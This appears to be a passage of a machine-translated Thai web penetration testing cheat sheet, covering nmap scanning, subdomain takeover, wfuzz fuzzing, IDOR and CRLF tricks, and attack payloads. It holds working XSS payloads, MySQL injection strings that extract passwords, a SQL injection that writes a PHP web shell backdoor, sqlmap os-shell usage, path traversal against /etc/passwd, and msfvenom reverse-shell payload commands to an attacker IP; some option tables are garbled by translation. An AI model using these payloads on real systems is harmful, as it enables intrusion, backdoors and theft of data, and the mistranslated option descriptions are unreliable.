| -k | ปิดใช้งานการตรวจสอบใบรับรอง TLS สำหรับลูกค้า |
| -t | จำนวนเธรดพร้อมกัน (ค่าเริ่มต้น: 50) |
| -n | อย่าสแกนซ้ำ |
| -w | เส้นทางไปสู่คำศัพท์ |
| -Auto-Bail | หยุดการสแกนโดยอัตโนมัติเมื่อพบข้อผิดพลาดมากเกินไป |
| -b | ขอส่วนขยายการสำรองข้อมูลโดยอัตโนมัติสำหรับ URL "Found" (ค่าเริ่มต้น: ~, .bak, .bak2, .old, .1) |
| -Q | ซ่อนแถบความคืบหน้าและแบนเนอร์ (เหมาะสำหรับ tmux windows w/ การแจ้งเตือน) |
| -o | ไฟล์เอาต์พุตเพื่อเขียนผลลัพธ์ไปที่ (ใช้ w/ -json สำหรับรายการ JSON) |
ดาวน์โหลดเวอร์ชันล่าสุดจาก GitHub ดูวิธีการติดตั้งเครื่องมือ
ค้นหาเว็บเซิร์ฟเวอร์สำหรับไฟล์ที่ละเอียดอ่อน:
snallygaster --nowww somesite.com | tee snallygaster_results.txt
for subdomain in $( cat subdomains_live_short_http.txt ) ; do snallygaster --nohttps --nowww " ${subdomain} " ; done | tee snallygaster_http_results.txt
for subdomain in $( cat subdomains_live_short_https.txt ) ; do snallygaster --nohttp --nowww " ${subdomain} " ; done | tee snallygaster_https_results.txtดาวน์โหลด:
git clone https://github.com/irsdl/IIS-ShortName-Scanner && cd IIS-ShortName-Scanner/releaseค้นหาเซิร์ฟเวอร์ IIS สำหรับไฟล์และไดเรกทอรี:
java -jar iis_shortname_scanner.jar 2 30 https://somesite.com
ระบุเว็บไซต์:
whatweb -v somesite.com
ทดสอบรายการ robots.txt ทั้งหมด:
parsero -sb -u somesite.com
คว้าภาพหน้าจอจากเว็บไซต์:
eyewitness --no-prompt --no-dns --timeout 3 --threads 5 -d eyewitness_results -f subdomains_live_long.txt
ในการตรวจสอบภาพหน้าจอให้นำทางไปยังไดเรกทอรี eyewitness_results/screens
คุณสามารถค้นหา rockyou.txt ภายใน /usr/share/wordlists/ ไดเรกทอรีหรือภายใน seclists - คอลเลกชันที่มีประโยชน์ของรายการ WordLists หลายประเภทสำหรับการประเมินความปลอดภัย
ติดตั้ง seclists (คอลเลกชันจะถูกเก็บไว้ที่ /usr/share/seclists/ ไดเรกทอรี):
apt-get update && apt-get install seclistsการบริจาคของฉันต่อ Seclists: Danielmiessler/Seclists/Tree/Master/Fuzzing/จำนวนเงิน
คอลเล็กชั่น WordList ยอดนิยมอีกรายการ:
โปรดทราบว่าเว็บแอปพลิเคชันหรือบริการสามารถโฮสต์บนพอร์ตอื่นนอกเหนือจาก 80 (HTTP) และ 443 (HTTPS) เช่นสามารถโฮสต์บนพอร์ต 8443 (HTTPS)
โปรดทราบว่าในพอร์ต 80 (HTTP) และ 443 (HTTPS) เว็บเซิร์ฟเวอร์สามารถโฮสต์เว็บแอปพลิเคชันหรือบริการที่แตกต่างกัน ใช้ NCAT หรือ TELNET เพื่อคว้าแบนเนอร์
โปรดทราบว่าบนเส้นทาง URL ที่แตกต่างกันเว็บเซิร์ฟเวอร์สามารถโฮสต์เว็บแอปพลิเคชันหรือบริการที่แตกต่างกันเช่น somesite.com/app_one/ และ somesite.com/app_two/
ในขณะที่การสแกนหาช่องโหว่หรือเรียกใช้การสแกนแบบเข้มข้นอื่น ๆ ให้ตรวจสอบเว็บแอปพลิเคชันหรือบริการเป็นระยะหากขัดข้องเพื่อให้คุณสามารถแจ้งเตือนลูกค้าของคุณโดยเร็วที่สุด หรือในกรณีที่คุณได้รับ Rate Limited โดย Web Application Firewall (WAF) หรือผลิตภัณฑ์รักษาความปลอดภัยอื่น ๆ เพื่อให้คุณสามารถหยุดการสแกนชั่วคราวได้เนื่องจากคำขอที่ตามมาทั้งหมดของคุณจะถูกบล็อกและผลลัพธ์ของคุณจะไม่สมบูรณ์
หากเว็บแอปพลิเคชันหรือบริการหยุดการตอบสนองอย่างฉับพลันลองเข้าถึงเว็บแอปพลิเคชันหรือบริการโดยใช้ข้อมูลมือถือของคุณเช่นโดยใช้ IP อื่น เป็นไปได้ว่า IP ปัจจุบันของคุณถูกบล็อกชั่วคราว
ส่งข้อความอีเมลไปยังที่อยู่ที่ไม่มีอยู่จริงที่โดเมนของ Target มันมักจะเปิดเผยข้อมูลเครือข่ายภายในที่มีประโยชน์ผ่านการแจ้งเตือนแบบไม่มีการแจ้ง (NDN)
รับชุมชน Nessus ฟรีและหากคุณสามารถจ่ายได้รับ Burp Suite Professional หรือ Caido
เพื่อผลลัพธ์ที่ดีกว่าให้ใช้ IPS แทนชื่อโดเมน
Ping Sweep, Map Live Hosts:
nmap -sn -oG nmap_ping_sweep_results.txt 192.168.8.0/24
nmap -sn -oG nmap_ping_sweep_results.txt -iL cidrs.txt
เว็บเซิร์ฟเวอร์บางตัวจะไม่ตอบสนองต่อคำขอ Ping (ICMP) ดังนั้นการแมปของโฮสต์สดจะไม่ถูกต้อง
แยกโฮสต์สดจากผลลัพธ์:
grep -Po ' (?<=Host: )[^s]+ ' nmap_ping_sweep_results.txt | sort -uf | tee -a ips_live.txtTCP สแกนพอร์ตทั้งหมด:
nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- 192.168.8.0/24
nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- -iL cidrs.txt
ทำการสแกน TCP โดยอัตโนมัติ:
mkdir nmap_tcp_results
for ip in $( cat ips_live.txt ) ; do nmap -nv -sS -sV -sC -Pn -oN " nmap_tcp_results/nmap_tcp_results_ ${ip // . / _} .txt " -p- " ${ip} " ; doneการสแกน UDP มีเพียงพอร์ตที่สำคัญเท่านั้น:
nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 192.168.8.0/24
nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 -iL cidrs.txt
ทำการสแกน UDP โดยอัตโนมัติ:
mkdir nmap_udp_results
for ip in $( cat ips_live.txt ) ; do nmap -nv -sU -sV -sC -Pn -oN " nmap_udp_results/nmap_udp_results_ ${ip // . / _} .txt " -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 " ${subdomain} " ; done| ตัวเลือก | คำอธิบาย |
|---|---|
| -sn | Ping Scan - ปิดการสแกนพอร์ต |
| -pn | ปฏิบัติต่อโฮสต์ทั้งหมดเป็นออนไลน์ - ข้ามการค้นพบโฮสต์ |
| -n/-r | อย่าทำ DNS ความละเอียด/แก้ไขเสมอ (ค่าเริ่มต้น: บางครั้ง) |
| -SS/ST/SA | tcp syn/connect ()/ack |
| -su | สแกน UDP |
| -p/-p- | สแกนเฉพาะพอร์ตที่ระบุ/สแกนพอร์ตทั้งหมด |
| -พอร์ตด้านบน | สแกนพอร์ตที่พบบ่อยที่สุด |
| -SV | โพรบเปิดพอร์ตเพื่อกำหนดข้อมูลบริการ/เวอร์ชัน |
| -o | เปิดใช้งานการตรวจจับระบบปฏิบัติการ |
| -SC | เช่นเดียวกับ --script = ค่าเริ่มต้น |
| -สคริปต์ | สคริปต์สแกน (ใช้เวลาในการเสร็จสิ้น) |
| -สคริปต์อาร์ก | ให้ข้อโต้แย้งกับสคริปต์ |
| -สคริปต์สคริปต์ | แสดงความช่วยเหลือเกี่ยวกับสคริปต์ |
| -on/-ox/-Og | การสแกนเอาท์พุทในรูปแบบปกติ XML และรูปแบบ grepable |
| -v | เพิ่มระดับความวรรค |
| --เหตุผล | แสดงเหตุผลที่พอร์ตอยู่ในสถานะเฉพาะ |
| -A | เปิดใช้งานการตรวจจับ OS, การตรวจจับเวอร์ชัน, การสแกนสคริปต์และ traceroute |
สคริปต์ของ NMAP ทั้งหมดอยู่ที่ /usr/share/nmap/scripts/ directory อ่านเพิ่มเติมเกี่ยวกับสคริปต์ที่นี่
ตัวอย่าง NSE:
nmap -nv --script='mysql-brute' --script-args='userdb="users.txt", passdb="rockyou.txt"' 192.168.8.5 -p 3306
nmap -nv --script='dns-brute' --script-args='dns-brute.domain="somedomain.com", dns-brute.hostlist="subdomains-top1mil.txt"'
nmap -nv --script='ssl-heartbleed' -iL cidrs.txt
คุณสามารถค้นหา rockyou.txt และ subdomains-top1mil.txt wordlists ใน seclists
ฉันชอบใช้นิวเคลียสสำหรับการสแกนช่องโหว่
การติดตั้ง:
apt-get update && apt-get -y install testssl.shทดสอบใบรับรอง SSL/TLS (เช่น SSL/TLS Ciphers, โปรโตคอล ฯลฯ ):
testssl --openssl /usr/bin/openssl -oH testssl_results.html somesite.com
นอกจากนี้คุณยังสามารถใช้ TestsSL.SH เพื่อใช้ประโยชน์จากช่องโหว่ SSL/TLS
ทดสอบเว็บเซิร์ฟเวอร์สำหรับช่องโหว่ Heartbleed:
for subdomain in $( cat subdomains_live.txt ) ; do res= $( echo " Q " | openssl s_client -connect " ${subdomain} :443 " 2>&1 | grep ' server extension "heartbeat" (id=15) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} " ; fi ; done | tee openssl_heartbleed_results.txt
# omit the URL scheme
for subdomain in $( cat subdomains_live_short_https.txt ) ; do res= $( echo " Q " | openssl s_client -connect " ${subdomain} " 2>&1 | grep ' server extension "heartbeat" (id=15) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} " ; fi ; done | tee openssl_heartbleed_results.txtคว้าใบรับรอง SSL/TLS:
keytool -printcert -rfc -sslserver somesite.com > keytool_results.txt
openssl x509 -noout -text -in keytool_results.txt
ใช้การเปิดเผยกับ Shodan และ Censys SSL/TLS Dorks เพื่อค้นหาโฮสต์ในขอบเขตเพิ่มเติม
ลองเข้าสู่ระบบเซสชัน NULL เสมอคือไม่มีการเข้าสู่ระบบรหัสผ่านหรือค้นหาอินเทอร์เน็ตสำหรับข้อมูลรับรองเริ่มต้นสำหรับเว็บแอปพลิเคชันเฉพาะ
พยายามจัดการคุกกี้หรือโทเค็น JWT เพื่อเข้าถึงหรือยกระดับสิทธิพิเศษ ในการออกจากระบบตรวจสอบเสมอว่าคุกกี้หรือโทเค็น JWT ใด ๆ ยังคงใช้ได้หรือไม่
ตรวจสอบพื้นที่เก็บข้อมูลท้องถิ่นของเว็บเบราว์เซอร์เสมอโดยเฉพาะอย่างยิ่งหากทดสอบแอปพลิเคชันหน้าเดียว (SPA)
พยายามแปลงเช่นคำขอโพสต์ HTTP ลงในคำขอ HTTP GET เช่นลงในสตริงการสืบค้นและดูว่าเซิร์ฟเวอร์จะตอบสนองอย่างไร
ปิด JavaScript ในเว็บเบราว์เซอร์ของคุณและตรวจสอบพฤติกรรมเว็บแอปพลิเคชันอีกครั้ง
ตรวจสอบพฤติกรรมเว็บแอปพลิเคชันบนอุปกรณ์มือถือเนื่องจากคุณสมบัติบางอย่างอาจทำงานได้แตกต่างกัน ลองปลอมแปลงตัวแทนผู้ใช้ของคุณหรือพยายามเยี่ยมชม m.somesite.com
หากคุณต้องการทำการทดสอบการฉีดรหัสของคุณโดยอัตโนมัติให้ตรวจสอบส่วนย่อยของ WordLists สำหรับการฉีดรหัส WordLists ผู้ใช้คำบางคนยังรวมถึงการฉีดรหัสที่ทำให้งงงวย
หากคุณเห็นปริมาณหรือปริมาณใด ๆ ให้ลองใช้ Danielmiessler/Seclists/Tree/Master/Fuzzing/จำนวนคำสั่งซื้อเนื่องจากอาจทำให้เกิดพฤติกรรมที่ไม่ได้ตั้งใจข้อผิดพลาดหรือแม้แต่บายพาสขอบเขตต่ำสุดและสูงสุด
อย่าลืมทำความสะอาดตัวเอง ลบสิ่งประดิษฐ์ที่สร้างขึ้นทั้งหมดรวม มัลแวร์การหาประโยชน์เครื่องมือสคริปต์ ฯลฯ และย้อนกลับการตั้งค่าทั้งหมดและการเปลี่ยนแปลงจากโฮสต์เป้าหมายหลังจากที่คุณทำการทดสอบเสร็จแล้ว
ใช้เมื่อพยายามใช้ประโยชน์จากการเปลี่ยนเส้นทางแบบเปิดการสคริปต์ข้ามไซต์ตาบอด (XSS) การโต้ตอบ DNS และ HTTP ฯลฯ
รวบรวมข้อมูลให้มากที่สุดเท่าที่จะทำได้สำหรับเป้าหมายที่ระบุดูว่าใน 1. การลาดตระเวน
รวบรวมชื่อองค์กรด้วย Whois และชื่อที่เป็นที่ยอมรับด้วยโฮสต์
คุณสามารถตรวจสอบอีกครั้งว่าโดเมน/โดเมนย่อยตายด้วย Dig หรือ Alive และ HTTPX
ตรวจสอบว่าผู้ให้บริการโฮสติ้งสำหรับโดเมน/โดเมนย่อยที่พบนั้นมีความเสี่ยงต่อการครอบครองโดเมน/โดเมนย่อยที่ Edoverflow/Can-i-take-over-xyz เครดิตกับผู้แต่ง!
ผู้ให้บริการคลาวด์รายใหญ่ที่สุด:
การติดตั้ง:
go install -v github.com/lukasikic/subzy@latest
ตรวจสอบการครอบครองโดเมน/โดเมนย่อย:
subzy -concurrency 100 -timeout 3 -targets subdomains_errors.txt | tee subzy_results.txt
การติดตั้ง:
go install -v github.com/haccer/subjack@latestตรวจสอบการครอบครองโดเมน/โดเมนย่อย:
subjack -v -o subjack_results.json -t 100 -timeout 3 -a -m -w subdomains_errors.txt
ค้นหาวิธีข้ามรหัสสถานะการตอบกลับ 4xx HTTP ที่ Ivan-Sincek/ต้องห้าม
สแกนเว็บเซิร์ฟเวอร์:
nikto -output nikto_results.txt -h somesite.com -p 80
สแกนเว็บไซต์ WordPress:
wpscan -o wpscan_results.txt --url somesite.com
การติดตั้งและอัปเดต:
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -up && nuclei -utการสแกนช่องโหว่, แม่แบบทั้งหมด:
nuclei -c 500 -o nuclei_results.txt -l subdomains_live_long_2xx_4xx.txt
cat nuclei_results.txt | grep -Po ' (?<=] ).+ ' | sort -uf > nuclei_sorted_results.txtการครอบครองโดเมนย่อยเท่านั้น:
nuclei -c 500 -t takeovers -o nuclei_takeover_results.txt -l subdomains_live.txt
ค้นพบพารามิเตอร์คำขอ:
arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -u https://somesite.com
arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -i subdomains_live_long_2xx.txt
ไดเรกทอรี Fuzz:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u https://somesite.com/WFUZZ -w directory-list-lowercase-2.3-medium.txt
ค่าพารามิเตอร์ Fuzz:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{"someparam": "WFUZZ"}" -w somewordlist.txt
พารามิเตอร์ Fuzz:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{"WFUZZ": "somevalue"}" -w somewordlist.txt
ตัวอย่างเพิ่มเติม SSRF ภายในฟัซซิ่ง:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=127.0.0.1:WFUZZ" -w ports.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=WFUZZ:80" -w ips.txt
| ตัวเลือก | คำอธิบาย |
|---|---|
| -f | จัดเก็บผลลัพธ์ในไฟล์เอาต์พุต |
| -t | ระบุจำนวนการเชื่อมต่อพร้อมกัน (10 ค่าเริ่มต้น) |
| -s | ระบุการหน่วงเวลาระหว่างคำขอ (0 ค่าเริ่มต้น) |
| -U | ระบุ URL สำหรับคำขอ |
| -w | ระบุไฟล์ WordList |
| -x | ระบุวิธี HTTP สำหรับคำขอคือ head หรือ fuzz |
| -b | ระบุคุกกี้สำหรับคำขอ |
| -d | ใช้ข้อมูลโพสต์ |
| -ชม | ใช้ส่วนหัว |
| -hc/-hl/-hw/-hh | ซ่อนการตอบกลับด้วยรหัส/บรรทัด/คำ/คำ/ตัวอักษรที่ระบุ |
| --SC/-SL/-SW/-SH | แสดงคำตอบด้วยรหัส/บรรทัด/คำ/คำ/ตัวอักษรที่ระบุ |
| -SS/-HS | แสดง/ซ่อนการตอบกลับด้วย regex ที่ระบุภายในเนื้อหา |
ก่อนอื่นลองเปลี่ยนค่าหนึ่งเป็นค่าอื่นเช่นเปลี่ยน [email protected] เป็น [email protected] เปลี่ยนรหัสจาก 1 เป็น 2 ฯลฯ ฯลฯ
เป็นไปได้ว่ารหัสจำนวนที่ต่ำกว่าจะเกี่ยวข้องกับบัญชีหรือบทบาทที่มีสิทธิ์สูงกว่า
ประการที่สองลองใช้พารามิเตอร์มลพิษ:
"email":"[email protected],[email protected]"
"email":"[email protected] [email protected]"
"email":"[email protected]","email":"[email protected]"
"email":"[email protected],[email protected]"
"email":"[email protected] [email protected]"
"email":"[email protected]","email":"[email protected]"
"email":("[email protected]","[email protected]")
"email":["[email protected]","[email protected]"]
"email":{"[email protected]","[email protected]"}
"email":("[email protected]","[email protected]")
"email":["[email protected]","[email protected]"]
"email":{"[email protected]","[email protected]"}
email=hacker%40gmail.com,victim%40gmail.com
email=hacker%40gmail.com%20victim%40gmail.com
email=hacker%40gmail.com&email=victim%40gmail.com
email[]=hacker%40gmail.com&email[]=victim%40gmail.com
email=victim%40gmail.com,hacker%40gmail.com
email=victim%40gmail.com%20hacker%40gmail.com
email=victim%40gmail.com&email=hacker%40gmail.com
email[]=victim%40gmail.com&email[]=hacker%40gmail.com
ในการสร้างเอาต์พุตข้างต้นเรียกใช้ idor.py:
python3 idor.py -n email -i [email protected] -t [email protected]
ยังเป็นที่รู้จักกันในชื่อการฉีด CRLF CRLF หมายถึงการส่งคืนรถ ( ASCII 13 , r ) และฟีดบรรทัด ( ASCII 10 , n )
เมื่อเข้ารหัส r หมายถึง %0D และ n หมายถึง %0A
แก้ไขคุกกี้เซสชัน:
somesite.com/redirect.asp?origin=somesite.com%0D%0ASet-Cookie:%20ASPSESSION=123456789
เปิดการเปลี่ยนเส้นทาง:
somesite.com/home.php?marketing=winter%0D%0ALocation:%20https%3A%2F%2Fgithub.com
การตรึงเซสชันและการเปลี่ยนเส้นทางแบบเปิดเป็นหนึ่งในหลาย ๆ เทคนิคที่ใช้ร่วมกับการแยกการตอบกลับ HTTP ค้นหาอินเทอร์เน็ตเพื่อหาเทคนิคเพิ่มเติม
Simple Cross-Site Scripting (XSS) Payloads:
< script > alert ( 1 ) </ script >
< script src =" https://myserver.com/xss.js " > </ script >
< img src =" https://github.com/favicon.ico " onload =" alert(1) " > การโฮสต์ JavaScript บน Pastebin จะไม่ทำงานเพราะ Pastebin ส่งคืน text/plain เสมอ
ค้นหาข้อมูลเพิ่มเติมเกี่ยวกับการโจมตีที่สะท้อนและจัดเก็บสคริปต์ข้ามไซต์ (XSS) รวมถึงการโจมตีแบบข้ามไซต์ (XSRF/CSRF) การโจมตีที่ Ivan-Sincek/XSS-Catcher
อีเมลที่ถูกต้องด้วย Embedded XSS:
user+( < script > alert ( 1 ) </ script > )@somedomain.com
user@somedomain( < script > alert ( 1 ) </ script > ).com
" < script > alert ( 1 ) </ script > "@somedomain.comน้ำหนักบรรทุกต่อไปนี้ถูกทดสอบบนฐานข้อมูล MySQL โปรดทราบว่า MySQL ต้องการอักขระช่องว่างระหว่างสัญลักษณ์ความคิดเห็นและอักขระถัดไป
หากคุณต้องการ URL เข้ารหัสอักขระช่องว่างให้ใช้ %20 หรือ + แทน
พยายามสร้างข้อผิดพลาดของฐานข้อมูลโดยการฉีดใบอ้อนวอนเดี่ยว, แบ็คสแลช, ไฮเฟนสองเท่า, สแลชไปข้างหน้าหรือช่วงเวลา
อย่าลืมปิดรหัสโดยรอบเสมอ
อ่านบทความ OWASP นี้เพื่อเรียนรู้วิธีข้าม WAF
SQLI ที่ใช้บูลีน:
' OR 1=1--
' OR 1=2--
SQLI จากสหภาพ:
' UNION SELECT 1,2,3,4--
' UNION SELECT NULL,NULL,NULL,NULL--
' UNION SELECT 1,concat_ws('|',database(),current_user(),version()),3,4--
' UNION SELECT 1,concat_ws('|',table_schema,table_name,column_name,data_type,character_maximum_length),3,4 FROM information_schema.columns--
' UNION SELECT 1,load_file('..\..\apache\conf\httpd.conf'),3,4--
หากใช้เช่น 1,2,3,4 ไม่ทำงานลองใช้ NULL,NULL,NULL,NULL ตามลำดับ
ใช้ SQLI ที่ใช้สหภาพแรงงานเฉพาะเมื่อคุณสามารถใช้ช่องทางการสื่อสารเดียวกันกับทั้งการเรียกใช้การโจมตีและรวบรวมผลลัพธ์
เป้าหมายคือการกำหนดจำนวนคอลัมน์ที่แน่นอนในการสืบค้น SQL และเพื่อหาว่าจะแสดงตัวใดที่จะแสดงกลับไปยังผู้ใช้
อีกวิธีหนึ่งในการกำหนดจำนวนคอลัมน์ที่แน่นอนคือการใช้เช่น ' ORDER BY 1-- โดยที่ 1 คือหมายเลขคอลัมน์ที่ใช้สำหรับการเรียงลำดับ- เพิ่มขึ้นหนึ่งครั้งในแต่ละลอง
SQLI ตามเวลา:
' AND (SELECT 1 FROM (SELECT sleep(2)) test)--
' AND (SELECT 1 FROM (SELECT CASE user() WHEN '[email protected]' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT 1 FROM (SELECT CASE substring(current_user(),1,1) WHEN 'r' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN sleep(2) ELSE sleep(0) END FROM users WHERE id = 1)--
' AND IF(version() LIKE '5%',sleep(2),sleep(0))--
ใช้ SQLI ตามเวลาเมื่อคุณไม่สามารถเห็นผลลัพธ์ได้
ตรวจสอบความเป็นอยู่/ความถูกต้อง:
' AND (SELECT 'exists' FROM users) = 'exists
' AND (SELECT 'exists' FROM users WHERE username = 'administrator') = 'exists
' AND (SELECT 'correct' FROM users WHERE username = 'administrator' AND length(password) < 8 ) = 'correct
' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE 'correct' END FROM users WHERE username = 'administrator') = 'correct
'||(SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE '' END FROM users WHERE username = 'administrator')||'
ฉีดเว็บเชลล์ PHP อย่างง่ายตามคำขอ GET HTTP:
' UNION SELECT '', '', '', '<?php if(isset($_GET["command"])){echo shell_exec($_GET["command"]);} ?>' INTO DUMPFILE '..\..\htdocs\backdoor.php'--
' UNION SELECT '', '', '', '<?php $p="command";$o=null;if(isset($_SERVER["REQUEST_METHOD"])&&strtolower($_SERVER["REQUEST_METHOD"])==="get"&&isset($_GET[$p])&&($_GET[$p]=trim($_GET[$p]))&&strlen($_GET[$p])>0){$o=@shell_exec("($_GET[$p]) 2>&1");if($o===false){$o="ERROR: The function might be disabled.";}else{$o=str_replace("<","<",$o);$o=str_replace(">",">",$o);}} ?><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Simple PHP Web Shell</title><meta name="author" content="Ivan Šincek"><meta name="viewport" content="width=device-width, initial-scale=1.0"></head><body><pre><?php echo $o;unset($o);unset($_GET[$p]); ?></pre></body></html>' INTO DUMPFILE '..\..\htdocs\backdoor.php'--
ในการฉีดเว็บเชลล์สำเร็จผู้ใช้ฐานข้อมูลปัจจุบันจะต้องได้รับอนุญาตการเขียน
ฉีดรหัส SQL ลงในพารามิเตอร์คำขอ:
sqlmap -a -u somesite.com/index.php?username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test -p password
| ตัวเลือก | คำอธิบาย |
|---|---|
| -U | URL เป้าหมาย |
| -ชม | ส่วนหัว HTTP พิเศษ |
| --ข้อมูล | สตริงข้อมูลที่จะส่งผ่านโพสต์ |
| --คุกกี้ | ค่าส่วนหัวคุกกี้ http |
| -พร็อกซี่ | ใช้พร็อกซีเพื่อเชื่อมต่อกับ URL เป้าหมาย ([โปรโตคอล: //] โฮสต์ [: พอร์ต]) |
| -p | พารามิเตอร์ที่ทดสอบได้ |
| --ระดับ | ระดับการทดสอบที่จะดำเนินการ (1-5, ค่าเริ่มต้น: 1) |
| --เสี่ยง | ความเสี่ยงของการทดสอบที่จะดำเนินการ (1-3, ค่าเริ่มต้น: 1) |
| -A | ดึงทุกอย่าง |
| -b | เรียกคืนแบนเนอร์ DBMS |
| -ทิ้งทั้งหมด | ทิ้งข้อมูลฐานข้อมูล DBMS ทั้งหมด |
| -os-shell | พร้อมรับเชลล์ระบบปฏิบัติการแบบโต้ตอบ |
| -OS-PWN | แจ้งให้กับเปลือก OOB, Meterpreter หรือ VNC |
| -sqlmap-shell | พร้อมรับเชลล์ SQLMAP แบบโต้ตอบ |
| -ตัววิซาร์ด | อินเทอร์เฟซตัวช่วยสร้างง่ายสำหรับผู้ใช้เริ่มต้น |
| -DBMS | สิ่งที่ต้องทำ |
Traverse A Path (เช่น somesite.com/../../../etc/passwd ):
dotdotpwn -q -m http -S -o windows -f /windows/win.ini -k mci -h somesite.com
dotdotpwn -q -m http -o unix -f /etc/passwd -k root -h somesite.com
dotdotpwn -q -m http-url -o unix -f /etc/hosts -k localhost -u 'https://somesite.com/index.php?file=TRAVERSAL'
พยายามเตรียมโปรโตคอลเช่น file:// , gopher:// , dict:// , php:// , jar:// , ftp:// , tftp:// , ฯลฯ ไปยังเส้นทางไฟล์; เช่น file://TRAVERSAL
ตรวจสอบเคล็ดลับการสำรวจไดเรกทอรีเพิ่มเติมที่ Swisskyrepo/Payloadsallthethings เครดิตกับผู้แต่ง!
| ตัวเลือก | คำอธิบาย |
|---|---|
| -m | โมดูล (HTTP, HTTP-URL, FTP, Payload TFTP, stdout) |
| -ชม | ชื่อโฮสต์ |
| -o | การตรวจจับระบบปฏิบัติการสำหรับการฟัซซิงอัจฉริยะ (NMAP) |
| -o | ประเภทระบบปฏิบัติการถ้าเป็นที่รู้จัก ("windows", "unix" หรือ "ทั่วไป") |
| -d | ความลึกของการเดินทาง (ค่าเริ่มต้น: 6) |
| -f | ชื่อไฟล์เฉพาะ (ค่าเริ่มต้น: ตามที่ตรวจพบระบบปฏิบัติการ) |
| -s | ใช้ SSL สำหรับโมดูล HTTP และ Payload (ไม่จำเป็นสำหรับ HTTP-URL) |
| -U | url กับส่วนที่จะถูกทำเครื่องหมายว่าเป็น traversal |
| -k | รูปแบบข้อความที่จะจับคู่ในการตอบกลับ |
| -p | ชื่อไฟล์พร้อมเพย์โหลดที่จะส่งและส่วนที่จะถูกทำเครื่องหมายไว้ด้วยคำหลัก traversal |
| -x | พอร์ตเพื่อเชื่อมต่อ (ค่าเริ่มต้น: http = 80; ftp = 21; tftp = 69) |
| -U | ชื่อผู้ใช้ (ค่าเริ่มต้น: 'ไม่ระบุชื่อ') |
| -p | รหัสผ่าน (ค่าเริ่มต้น: 'dot (at) dot.pwn') |
| -m | วิธี HTTP ที่จะใช้เมื่อใช้โมดูล 'HTTP' (รับ, โพสต์, หัว, คัดลอก, ย้าย, ค่าเริ่มต้น: รับ) |
| -b | หยุดพักหลังจากพบช่องโหว่ครั้งแรก |
| -c | ดำเนินการต่อหากไม่ได้รับข้อมูลจากโฮสต์ |
ค้นหาข้อมูลเพิ่มเติมเกี่ยวกับเปลือกหอย PHP ที่ Ivan-Sincek/PHP-Reverse-Shell
ค้นหาข้อมูลเพิ่มเติมเกี่ยวกับ Java/JSP Shells ที่ Ivan-Sincek/Java-Reverse-TCP
ค้นหาวิธีการสร้างเพย์โหลดเชลล์ย้อนกลับสำหรับ Python และส่งไปยังเครื่องเป้าหมายที่ Ivan-Sincek/Send-TCP-Payload
ในการสร้าง Base64 encoded payload ให้ใช้หนึ่งในคำสั่ง msfvenom ต่อไปนี้แก้ไขตามความต้องการของคุณ:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
ในการสร้าง binary file ให้ใช้หนึ่งในคำสั่ง MSFVENOM ต่อไปนี้แก้ไขตามความต้องการของคุณ:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff -o payload.bin
